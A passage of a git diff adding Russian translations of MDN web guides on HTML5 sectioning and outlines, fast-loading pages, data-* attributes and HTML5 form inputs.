+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят ученые в «&lt;cite&gt;Лесной слон на Борнео&lt;/cite&gt;»:&lt;/p&gt;
+    &lt;blockquote&gt;
+       &lt;h1&gt;Борнео&lt;/h1&gt;
+       &lt;p&gt;Лесной слон живет на Борнео...&lt;/p&gt;
+    &lt;/blockquote&gt;
+  &lt;/section&gt;
+&lt;/section&gt;
+</pre>
+
+<p>Данный пример приводит к следующей структуре:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Введение
+   1.2 Среда обитания</pre>
+
+<p>Данная структура не включает внутреннюю структуру элемента {{HTMLElement("blockquote")}}, который, будучи внешней цитатой, является корнем задания разделов и изолирует свою внутреннюю структуру.</p>
+
+<h3 id="Разделы_не_входящие_в_структуру">Разделы, не входящие в структуру</h3>
+
+<p> HTML5 вводит два новых элемента, позволяющих задавать разделы, не входящие в основную структуру веб-документа:</p>
+
+<ol>
+ <li>Элемент вспомогательного раздела {{HTMLElement("aside")}} задает раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.</li>
+ <li>Элемент навигационного раздела {{HTMLElement("nav")}} задает раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.</li>
+</ol>
+
+<h3 id="Шапки_и_подвалы">Шапки и подвалы</h3>
+
+<p>HTML5 также добавляет два новых элемента, которые могут использоваться для разметки верхнего и нижнего колонтитулов страниц:</p>
+
+<ol>
+ <li>Элемент шапки {{HTMLElement("header")}} задает шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.</li>
+ <li>Элемент подвала ({{HTMLElement("footer")}}) задает нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.</li>
+</ol>
+
+<p>Эти элементы не создают новые разделы в структуре, а скорее используются для разметки контента внутри разделов страницы.</p>
+
+<h2 id="Адреса_в_элементах_задания_разделов">Адреса в элементах задания разделов</h2>
+
+<p>Автор документа часто хочет опубликовать свою контактную информацию, например, имя и адрес. HTML4 позволял сделать это с помощью элемента {{HTMLElement("address")}}, расширенного в HTML5.</p>
+
+<p>Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создается не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.</p>
+
+<h2 id="Использование_элементов_HTML5_в_браузерах_не_поддерживающих_HTML5">Использование элементов HTML5 в браузерах, не поддерживающих HTML5</h2>
+
+<p>Элементы разделов и заголовков должны работать в большинстве браузеров, не поддерживающих HTML5. Хотя они и не поддерживаются, они не требуют специального интерфейса DOM, им требуется лишь особый стиль CSS, поскольку к неизвестным элементам по умолчанию применяется стиль <code>display:inline</code>:</p>
+
+<pre class="brush: css notranslate">section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+</pre>
+
+<p>Конечно, веб-разработчик может применить к ним любой другой стиль, однако следует помнить в браузерах, не поддерживающих HTML5, по умолчанию используется не тот стиль, который требуется для таких элементов. Также обратите внимание на отсутствие в перечне элемента {{HTMLElement("time")}}, поскольку по умолчанию к нему применяется одинаковый стиль как в браузерах, не поддерживающих HTML5, так и в браузерах, совместимых с HTML5.</p>
+
+<p>Данный способ не универсален, поскольку некоторые браузеры не позволяют применять стили к неподдерживаемым элементам. Например, Internet Explorer (версии 8 и более ранней), для которого требуется специальный скрипт:</p>
+
+<pre class="brush:xml notranslate">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<p>Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включенной поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержа скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:</p>
+
+<pre class="brush:xml notranslate">&lt;noscript&gt;
+   &lt;strong&gt;Внимание!&lt;/strong&gt;
+   Поскольку ваш браузер не поддерживает HTML5, некоторые элементы воспроизводятся с помощью JScript.
+   Однако в вашем браузере скрипты отключены, пожалуйста, включите их, чтобы браузер смог отобразить данную страницу.
+&lt;/noscript&gt;</pre>
+
+<p>This leads to the following code to allow the support of the HTML5 sections and headings elements in non-HTML5 browsers, even for Internet Explorer (8 and older), with a proper fallback for the case where this latter browser is configured not to use scripting:</p>
+
+<pre class="brush:xml notranslate">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+  &lt;noscript&gt;
+     &lt;strong&gt;Внимание!&lt;/strong&gt;
+     Поскольку ваш браузер не поддерживает HTML5, некоторые элементы воспроизводятся с помощью JScript.
+     Однако в вашем браузере скрипты отключены, пожалуйста, включите их, чтобы браузер смог отобразить данную страницу.
+  &lt;/noscript&gt;
+&lt;![endif]--&gt;</pre>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Новые семантические элементы, добавленные в HTML5, обеспечивают стандартизацию описания структуры веб-документа. Они облегчают жизнь пользователям с ограниченными возможностями, просты в использовании, могут без особых проблем поддерживаться в старых браузерах и поэтому настоятельно рекомендуются к применению.</p>
+
+<div>{{HTML5ArticleTOC()}}</div>
diff --git a/files/ru/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html b/files/ru/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html
new file mode 100644
index 0000000000..f34fe049f5
--- /dev/null
+++ b/files/ru/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html
@@ -0,0 +1,204 @@
+---
+title: Tips for authoring fast-loading HTML pages
+slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
+translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+---
+<p>Эти советы основаны на общих знаниях и экспериментах.</p>
+
+<p>Оптимизированная веб-страница не только обеспечивает более отзывчивый сайт для ваших посетителей, но также снижает нагрузку на ваши веб-серверы и интернет-соединения. Это может иметь решающее значение для сайтов с большим объемом или сайтов, которые имеют всплеск трафика из-за необычных обстоятельств, таких как последние новости</p>
+
+<p>Оптимизация производительности загрузки страницы нужна не только для контента, который будет просматриваться узкополосным модемом или посетителями мобильных устройств. Это так же важно для широкополосного контента и может привести к значительным улучшениям даже для ваших посетителей с самыми быстрыми подключениями.</p>
+
+<h2 id="Tips" name="Tips">Советы</h2>
+
+<h3 id="Reduce_page_weight" name="Reduce_page_weight">Уменьшайте вес страницы</h3>
+
+<p>Веб-страницы - безусловно, самый важный фактор в производительности загрузки страницы.</p>
+
+<p>Уменьшение веса страницы за счет устранения ненужных пробелов и комментариев, широко известна как минимизация, и перемещая встроенный скрипт и CSS во внешние файлы, можно улучшить производительность загрузки с минимальными потребностями в других изменениях в структуре страницы.</p>
+
+<p>Такие инструменты, как <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> , могут автоматически убирать начальные пробелы и лишние пустые строки из допустимого источника HTML. Другие инструменты могут «сжимать» JavaScript, переформатируя источник или запутывая источник и заменяя длинные идентификаторы на более короткие версии</p>
+
+<h3 id="Minimize_the_number_of_files" name="Minimize_the_number_of_files">Минимизируйте количество файлов</h3>
+
+<p>Уменьшение количества файлов, на которые есть ссылки на веб-странице, уменьшает количество HTTP-соединений, необходимых для загрузки страницы, тем самым сокращая время отправки этих запросов и получения их ответов.</p>
+
+<p>В зависимости от настроек кэша браузера он может отправить запрос с заголовком <code>If-Modified-Since</code> для каждого ссылочного файла, спрашивая, был ли файл изменен с момента последней загрузки. Слишком много времени, затрачиваемое на запрос времени последнего изменения указанных файлов, может задержать первоначальное отображение веб-страницы, так как браузер должен проверить время изменения каждого из этих файлов перед отображением страницы.</p>
+
+<p>Если вы часто используете фоновые изображения в своем CSS, вы можете уменьшить количество запросов на поиск HTTP, объединив изображения в одно, называемое спрайтом изображения. Затем вы просто применяете одно и то же изображение каждый раз, когда вам это нужно для фона, и соответственно корректируете координаты x / y. Этот метод лучше всего работает с элементами, которые будут иметь ограниченные размеры, и не будет работать для каждого использования фонового изображения. Тем не менее, меньшее количество HTTP-запросов и кэширование одного изображения может помочь сократить время загрузки страницы.</p>
+
+<h3 id="Используйте_сеть_доставки_(и_дистрибуции)_содержимого_(Content_Delivery_Network_(CDN))"><strong>Используйте сеть доставки (и дистрибуции) содержимого (</strong>Content Delivery Network (CDN)<strong>)</strong></h3>
+
+<p>Для целей этой статьи CDN - это средство уменьшения физического расстояния между вашим сервером и вашим посетителем. По мере увеличения расстояния между вашим сервером и посетителем время загрузки будет увеличиваться. Предположим, ваш сервер веб-сайта находится в Соединенных Штатах и имеет посетителя из Индии; время загрузки страницы будет намного выше для индийского посетителя по сравнению с посетителем из США.</p>
+
+<p>CDN - это географически распределенная сеть серверов, которые работают вместе, чтобы сократить расстояние между пользователем и вашим сайтом. CDN хранят кэшированные версии вашего веб-сайта и предоставляют их посетителям через ближайший к пользователю сетевой узел, тем самым снижая задержку</p>
+
+<p>Дальнейшее чтение:</p>
+
+<ul>
+ <li><a href="https://www.incapsula.com/cdn-guide/what-is-cdn-how-it-works.html">Understanding CDNs</a></li>
+</ul>
+
+<h3 id="Reduce_domain_lookups" name="Reduce_domain_lookups">Сократите поиск доменов</h3>
+
+<p>Поскольку каждый отдельный домен требует времени для поиска DNS, время загрузки страницы будет расти вместе с количеством отдельных доменов, отображаемых в ссылках CSS, а также в JavaScript и изображениях.</p>
+
+<p>Это не всегда может быть практичным; однако вы всегда должны позаботиться об использовании только минимально необходимого количества разных доменов на своих страницах.</p>
+
+<h3 id="Cache_reused_content" name="Cache_reused_content">Кэшируйте повторно использованный контент</h3>
+
+<p>Убедитесь, что любой контент, который может быть кэширован, кэширован и имеет подходящее время истечения.</p>
+
+<p>В частности, обратите внимание на  заголовок <code>Last-Modified</code>. Это позволяет эффективно кэшировать страницы; с помощью этого заголовка агенту пользователя передается информация о файле, который он хочет загрузить, например, когда он был последний раз изменен. Большинство веб-серверов автоматически добавляют заголовок <code>Last-Modified</code> к статическим страницам (напр. <code>.html</code>, <code>.css</code>), на основе даты последнего изменения, хранящейся в файловой системе. С динамическими страницами (напр. <code>.php</code>, <code>.aspx</code>), это, конечно, не может быть сделано, и заголовок не отправляется.</p>
+
+<p>Так, в частности, для страниц, которые генерируются динамически, небольшое исследование по этой теме полезно. Это может быть несколько сложным, но это сэкономит много запросов страниц на страницах, которые обычно не могут быть кэшированы.</p>
+
+<p>Больше информации:</p>
+
+<ol>
+ <li><a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">HTTP Conditional Get for RSS Hackers</a></li>
+ <li><a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a></li>
+ <li><a class="external" href="http://www.cmlenz.net/archives/2005/05/on-http-last-modified-and-etag">On HTTP Last-Modified and ETag</a></li>
+</ol>
+
+<h3 id="Optimally_order_the_components_of_the_page" name="Optimally_order_the_components_of_the_page">Оптимально размещайте компоненты на странице</h3>
+
+<p>Сначала загрузите содержимое страницы вместе с любым CSS или JavaScript, которые могут потребоваться для его первоначального отображения, чтобы пользователь получил самый быстрый очевидный ответ во время загрузки страницы. Этот контент, как правило, представляет собой текст, и поэтому может получить выгоду от сжатия текста при передаче, что обеспечивает еще более быстрый отклик для пользователя.</p>
+
+<p>Любые динамические функции, требующие полной загрузки страницы перед использованием, должны быть изначально отключены, а затем включены только после загрузки страницы. Это приведет к загрузке JavaScript после содержимого страницы, что улучшит общий вид загрузки страницы.</p>
+
+<h3 id="Reduce_the_number_of_inline_scripts" name="Reduce_the_number_of_inline_scripts">Уменьшайте количество встроенных скриптов</h3>
+
+<p>Встроенные сценарии могут быть дорогими для загрузки страницы, так как синтаксический анализатор должен предполагать, что встроенный сценарий может изменить структуру страницы во время анализа. Сокращение использования встроенных сценариев в целом и сокращение использования <code>document.write()</code> для вывода контента, в частности, может улучшить общую загрузку страницы. Используйте современные методы <a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a> для управления содержимым страницы, а не устаревшие подходы, которые основаны на  <code>document.write()</code>.</p>
+
+<h3 id="Use_modern_CSS_and_valid_markup" name="Use_modern_CSS_and_valid_markup">Используйте современный CSS и корректную разметку</h3>
+
+<p>Использование современного CSS уменьшает количество текста, может уменьшить потребность в (разделительных) изображениях с точки зрения макета и очень часто может заменить изображения стилизованного текста - это «стоит» намного дороже, чем эквивалентный текст и CSS.</p>
+
+<p>Использование корректной разметки имеет следующие преимущества. Во-первых, браузерам не нужно выполнять исправление ошибок при разборе HTML (это помимо философской проблемы: разрешить ли изменение формата при вводе пользователем, а затем программно «исправить» или нормализовать его; или вместо этого обеспечить строгий формат ввода без допусков).</p>
+
+<p>Кроме того, корректная разметка позволяет спокойно использовать другие инструменты, которые могут предварительно обрабатывать ваши веб-страницы. Например, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> может удалить пробелы и необязательные конечные теги; однако он откажется запускать страницу с серьезными ошибками разметки</p>
+
+<h3 id="Chunk_your_content" name="Chunk_your_content">Разделяйте ваш контент</h3>
+
+<p>Использование таблиц для вёрстки макетов устаревший метод, который не должен больше использоваться. Вместо этого для создания макетов нужно использовать &lt;a href="/en-US/docs/Learn/CSS/CSS_layout/Floats"&gt;floats&lt;/a&gt;, &lt;a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning"&gt;positioning&lt;/a&gt;, &lt;a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox"&gt;flexbox&lt;/a&gt;, или &lt;a href="/en-US/docs/Learn/CSS/CSS_layout/Grids"&gt;grids&lt;/a&gt;.</p>
+
+<p>Таблицы по-прежнему считаются допустимой разметкой, но их следует использовать для отображения табличных данных. Чтобы браузер быстрее отображал вашу страницу, вам следует избегать вложения таблиц.</p>
+
+<p>Вместо глубоко вложенных таблиц, как в:</p>
+
+<pre>&lt;TABLE&gt;
+  &lt;TABLE&gt;
+    &lt;TABLE&gt;
+          ...
+    &lt;/TABLE&gt;
+  &lt;/TABLE&gt;
+&lt;/TABLE&gt;</pre>
+
+<p>используйте невложенные таблицы как показано (или div'ы)</p>
+
+<pre>&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;
+</pre>
+
+<p>Смотри также: <a class="external" href="http://www.w3.org/TR/css3-multicol/" title="http://www.w3.org/TR/css3-multicol/">CSS3 Multi-column Layout Spec</a> и <a class="external" href="http://www.w3.org/TR/css3-flexbox/" title="http://www.w3.org/TR/css3-flexbox/">CSS3 Flexible Box Layout</a></p>
+
+<h3 id="Сокращайте_и_сжимайте_активы_SVG">Сокращайте и сжимайте активы SVG</h3>
+
+<p>SVG, создаваемый большинством графических приложений, часто содержит ненужные метаданные, которые можно удалить. Настройте свои сервера, примените сжатие gzip для ресурсов SVG</p>
+
+<h3 id="Сокращайте_и_сжимайте_ваши_изображения">Сокращайте и сжимайте ваши изображения</h3>
+
+<p>Большие изображения приводят к тому, что загрузка страницы занимает больше времени. Рассмотрите возможность сжатия ваших изображений перед добавлением их на свою страницу.  Есть онлайн-инструменты, такие как &lt;a href="https://compressjpeg.com/"&gt;Compress Jpeg&lt;/a&gt;, &lt;a href="https://tinypng.com"&gt;Tiny PNG&lt;/a&gt; и многие другие, доступны онлайн. Вы можете использовать офлайн-инструменты, такие как фотошоп и другие.</p>
+
+<h3 id="Specify_sizes_for_images_and_tables" name="Specify_sizes_for_images_and_tables">Указывайте размеры для изображений и таблиц </h3>
+
+<p>Если браузер может немедленно определить высоту и/или ширину ваших изображений и таблиц, он сможет отображать веб-страницу без необходимости переформатировать содержимое. Это не только ускоряет отображение страницы, но и предотвращает раздражающие изменения в макете страницы после завершения загрузки страницы. По этой причине <code>height</code> и <code>width</code>  должны быть указаны для изображений всегда, когда это возможно.</p>
+
+<p>Таблицы должны использовать CSS селектор: комбинация свойств</p>
+
+<pre>  table-layout: fixed;
+</pre>
+
+<p>и должны указывать ширину колонок используя HTML теги <code>COL</code> и <code>COLGROUP</code></p>
+
+<h3 id="Choose_your_user-agent_requirements_wisely" name="Choose_your_user-agent_requirements_wisely">Мудро выбирайте требования к пользовательскому агенту</h3>
+
+<p>Чтобы добиться наибольших улучшений в дизайне страниц, убедитесь, что для проектов указаны разумные требования к пользовательским агентам. Не требуйте, чтобы ваш контент казался идеальным во всех браузерах, особенно в устаревших.</p>
+
+<p>В идеале ваши базовые минимальные требования должны основываться на рассмотрении современных браузеров, поддерживающих соответствующие стандарты.Это может включать: Firefox 3.6+ на любой платформе, Internet Explorer 8.0+ на Windows, Opera 10+ на Windows, и Safari 4 на Mac OS X.</p>
+
+<p>Примечание. Несмотря на то, что эти атрибуты очень помогают при первой загрузке страницы, вы должны использовать их, но не предполагать, что они будут работать во всех браузерах. Если вы уже следуете всем рекомендациям JavaScript, вам не нужно менять код.</p>
+
+<h3 id="Используйте_async_и_defer_если_это_возможно">Используйте async и defer, если это возможно</h3>
+
+<p>Сделайте сценарии JavaScript такими, чтобы они были совместимы как с async, так и с defer, и по возможности используйте async, особенно если у вас есть несколько тегов script.</p>
+
+<p>При этом страница может перестать отображаться, пока JavaScript все еще загружается. В противном случае браузер не будет отображать ничего после тегов сценария, которые не имеют этих атрибутов.</p>
+
+<p>Примечание. Несмотря на то, что эти атрибуты очень помогают при первой загрузке страницы, вы должны использовать их, но не предполагать, что они будут работать во всех браузерах. Если вы уже следуете всем рекомендациям JavaScript, вам не нужно менять код.</p>
+
+<h2 id="Example_page_structure" name="Example_page_structure">Пример структуры страницы</h2>
+
+<p>· <code>HTML</code></p>
+
+<dl>
+ <dd>· <code>HEAD</code></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>LINK </code>...<br>
+  CSS файлы необходимы для отображения веб-страницы. Минимизируйте количество файлов для производительности, сохраняя несвязанные CSS в отдельных файлах для обслуживания.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>SCRIPT </code>...<br>
+  Файлы JavaScript для функций, необходимых при загрузке страницы, но не для любого DHTML, который может работать только после загрузки страницы</dd>
+  <dd>Минимизируйте количество файлов для повышения производительности, сохраняя несвязанный JavaScript в отдельных файлах для обслуживания.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>· <code>BODY</code></dd>
+ <dd>· Видимое пользователем содержимое страницы небольшими порциями (tables / divs) что можно отобразить, не дожидаясь загрузки полной страницы.</dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>SCRIPT </code>...<br>
+  Любые сценарии, которые будут использоваться для выполнения DHTML. Сценарий DHTML обычно может запускаться только после полной загрузки страницы и инициализации всех необходимых объектов. Нет необходимости загружать эти скрипты перед содержимым страницы. Это только замедляет первоначальный вид загрузки страницы.</dd>
+  <dd>Минимизируйте количество файлов для повышения производительности, сохраняя несвязанный JavaScript в отдельных файлах для обслуживания</dd>
+  <dd>Если какие-либо изображения используются для эффектов ролловера, вам следует предварительно загрузить их здесь после загрузки содержимого страницы.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Related_Links" name="Related_Links">Ссылки по теме</h2>
+
+<ul>
+ <li>Книга: <a class="external" href="http://www.websiteoptimization.com/">"Speed Up Your Site" by Andy King</a></li>
+ <li>Отличная и очень содеражательная статья <a class="external" href="http://developer.yahoo.com/performance/rules.html" title="http://developer.yahoo.com/performance/rules.html">Best Practices for Speeding Up Your Web Site</a> (Yahoo!)</li>
+ <li>Инструменты для анализа и оптимизации производительности: <a href="https://developers.google.com/speed/pagespeed/" title="https://developers.google.com/speed/pagespeed/">Google PageSpeed Tools</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Bob Clary, Technology Evangelist, Netscape Communications</li>
+ <li>Last Updated Date: Published 04 Apr 2003</li>
+ <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/guide/html/using_data_attributes/index.html b/files/ru/web/guide/html/using_data_attributes/index.html
new file mode 100644
index 0000000000..cef001e25a
--- /dev/null
+++ b/files/ru/web/guide/html/using_data_attributes/index.html
@@ -0,0 +1,129 @@
+---
+title: Использование data-* атрибутов
+slug: Web/Guide/HTML/Using_data_attributes
+tags:
+  - Guide
+  - HTML
+translation_of: Learn/HTML/Howto/Use_data_attributes
+---
+<p><a href="/ru/docs/Web/Guide/HTML/HTML5">HTML5</a> спроектирован с возможностью расширения данных ассоциированных с каким-либо элементом, но в то же время не обязательно имеющих определённое значение. <a href="/ru/docs/Web/HTML/Global_attributes#data-*"><code>data-*</code> атрибуты</a> позволяют хранить дополнительную информацию в стандартных элементах HTML, без хаков вроде нестандартных атрибутов, лишних DOM-свойств или {{domxref("Node.setUserData()")}}.</p>
+
+<h2 id="Синтаксис_HTML">Синтаксис HTML</h2>
+
+<p>Синтаксис прост — любой атрибут, чьё имя начинается с <code>data-</code>, является <code>data-*</code> атрибутом. Предположим у нас имеется статья и мы хотим сохранить дополнительную информацию без визуального представления. Для этого можно использовать <code>data</code>-атрибуты:</p>
+
+<pre class="brush: html">&lt;article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars"&gt;
+...
+&lt;/article&gt;</pre>
+
+<h2 id="Доступ_в_JavaScript">Доступ в JavaScript</h2>
+
+<p>Чтение <code>data-</code>атрибутов в <a href="/ru/docs/Web/JavaScript">JavaScript</a> осуществляется также просто. Для этого можно использовать метод {{domxref("Element.getAttribute", "getAttribute()")}} с параметром, равным полному имени атрибута. Но есть и более простой способ, используя объект {{domxref("HTMLElement.dataset", "dataset")}}.</p>
+
+<p>Чтобы получить <code>data</code>-атрибут можно взять свойство объекта <code>dataset</code> с именем, равным части имени атрибута после <code>data-</code> (обратите внимание, что дефисы в имени преобразуются в camelCase).</p>
+
+<pre><code>var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"</code></pre>
+
+<p>Каждое свойство является строкой и может быть прочитано и записано. В приведённом выше примере выполнение кода <code>article.dataset.columns = 5</code> приведёт к тому, что новое значение атрибута станет равным <code>"5"</code>.</p>
+
+<h2 id="Доступ_в_CSS">Доступ в CSS</h2>
+
+<p>Заметим, что <code>data</code>-атрибуты являются обычными HTML-аттрибутами, к которым можно получить доступ в <a href="/ru/docs/Web/CSS">CSS</a>. Например, чтобы показать родительские данные о статье можно использовать <a href="/ru/docs/Web/CSS/content">генерируемый контент</a> и CSS функцию {{cssxref("attr")}}:</p>
+
+<pre class="brush: css">article::before {
+  content: attr(data-parent);
+}</pre>
+
+<p>Также можно использовать <a href="/ru/docs/Web/CSS/Attribute_selectors">селекторы атрибутов </a>в CSS для изменения стилей в соответствии с данным:</p>
+
+<pre class="brush: css">article[data-columns='3']{
+  width: 400px;
+}
+article[data-columns='4']{
+  width: 600px;
+}</pre>
+
+<p>Увидеть как это работает можно <a href="https://jsbin.com/ujiday/2/edit">в примере на JSBin</a>.</p>
+
+<p><code>Data</code>-аттрибуты также могут использоваться для хранения информации, которая постоянно изменяется, например, счёт в игре. Используя CSS селекторы и возможности JavaScript можно создавать некоторые изящные эффекты, без необходимости писать свои функции отображения. Посмотрите <a href="https://www.youtube.com/watch?v=On_WyUB1gOk">скринкаст</a> чтобы увидеть больше примеров использующих сгенерированный контент и переходы на CSS. <a href="https://jsbin.com/atawaz/3/edit">Пример кода из скринкаста можно также посмотреть на JSBin</a>.</p>
+
+<h2 id="Проблемы">Проблемы</h2>
+
+<p>Не храните данные, которые должны быть видимы и доступны в <code>data</code>-атрибутах. Дело в том, что вспомогательная техника (assistive technology) может не получить к ним доступ. В дополнение, поисковые роботы не индексируют данные, содержащиеся в <code>data</code>-атрибутах.</p>
+
+<p>Печально, что всё простое и полезное в этой жизни не достаётся бесплатно. Internet Explorer 11+ поддерживает этот стандарт, но все более ранние версии <a href="https://caniuse.com/#feat=dataset">не поддерживают <code>dataset</code></a>. Для поддержки IE 10 и более ранних версий получение доступа к <code>data</code>-атрибутам необходимо осуществлять через {{domxref("Element.getAttribute", "getAttribute()")}}. Также, <a href="https://jsperf.com/data-dataset">производительность чтения <code>data-</code>атрибутов</a> по сравнению с хранением этих данных в хранилище данных JS значительно хуже. Использование <code>dataset</code> ещё медленнее, чем чтение данных с <code>getAttribute()</code>.</p>
+
+<p>Тем не менее, для пользовательских метаданных, связанных с элементами, <code>data-</code>атрибуты являются отличным решением.</p>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<table class="standard-table">
+ <caption>caniuse</caption>
+ <thead>
+  <tr>
+   <th scope="col">
+    <h4 id="IE">IE</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Edge">Edge</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Firefox">Firefox</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Chrome">Chrome</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Safari">Safari</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Opera">Opera</h4>
+   </th>
+   <th scope="col">
+    <h4 id="iOS_Safari">iOS Safari</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Opera_Mini*">Opera Mini<sup>*</sup></h4>
+   </th>
+   <th scope="col">
+    <h4 id="Android_Browser">Android Browser</h4>
+   </th>
+   <th scope="col">
+    <h4 id="Chrome_for_Android">Chrome for Android</h4>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>11+</td>
+   <td>14+</td>
+   <td>52+</td>
+   <td>49+</td>
+   <td>10.1+</td>
+   <td>46+</td>
+   <td>9.3+</td>
+   <td>all</td>
+   <td>4.4+</td>
+   <td>59+</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p>Тем не менее, для содержимого, которое не надо показывать это является отличным решением.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>This article is adapted from <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">Using data attributes in JavaScript and CSS on hacks.mozilla.org</a>.</li>
+ <li><a href="https://www.sitepoint.com/use-html5-data-attributes/">How to use HTML5 data attributes</a> (Sitepoint)</li>
+</ul>
diff --git a/files/ru/web/guide/html/формы_в_html/index.html b/files/ru/web/guide/html/формы_в_html/index.html
new file mode 100644
index 0000000000..ad5a8bc7e6
--- /dev/null
+++ b/files/ru/web/guide/html/формы_в_html/index.html
@@ -0,0 +1,149 @@
+---
+title: Формы в HTML
+slug: Web/Guide/HTML/Формы_в_HTML
+tags:
+  - HTML
+  - HTML5
+  - Введение
+  - Интернет
+  - Любитель
+  - Новичок
+  - Обзор
+  - Руководство
+  - Формы
+translation_of: Learn/HTML/Forms/HTML5_updates
+---
+<p>Элементы и атрибуты форм в <strong>HTML5</strong> предоставляют большие возможности семантической верстки, чем HTML4, а также позволяет отказаться от использования JavaScript и CSS, которое было ранее необходимо для HTML4. Большие возможности в формах HTML5 делают удобным для пользователей отправление информации с различных веб-сайтов. Они также предоставляют эти возможности для тех пользователей, у которых отключена поддержка JavaScript.</p>
+
+<p><span class="seoSummary">Эта статья описывает изменения в HTML-формах, представленных в HTML5. Для более подробного руководства по использованию формами, просмотрите наше обширное<a href="/ru/docs/Web/Guide/HTML/Forms"> руководство по HTML-формам</a>.</span></p>
+
+<h2 id="The_input_element" name="The_input_element">Элемент <code>&lt;input&gt;</code></h2>
+
+<p>В элементе <code>{{HTMLElement("input")}}</code> появились новые значения для атрибута {{htmlattrxref("type", "input")}}. (Просмотрите справочник {{HTMLElement("input")}} для получения полного списка атрибутов, значений и их использования для этого элемента.)</p>
+
+<ul>
+ <li><code>search</code>: Элемент представляет из себя поле для поиска. Переходы строк автоматически удаляются из значения <code>value</code>.</li>
+ <li><code>tel</code>: Элемент представляет из себя поле для редактирования номера телефона. Переходы строк автоматически удаляются из значения <code>value</code>. Вы можете использовать атрибуты, такие как: {{htmlattrxref("pattern", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы запретить ввод неподходящих символов.</li>
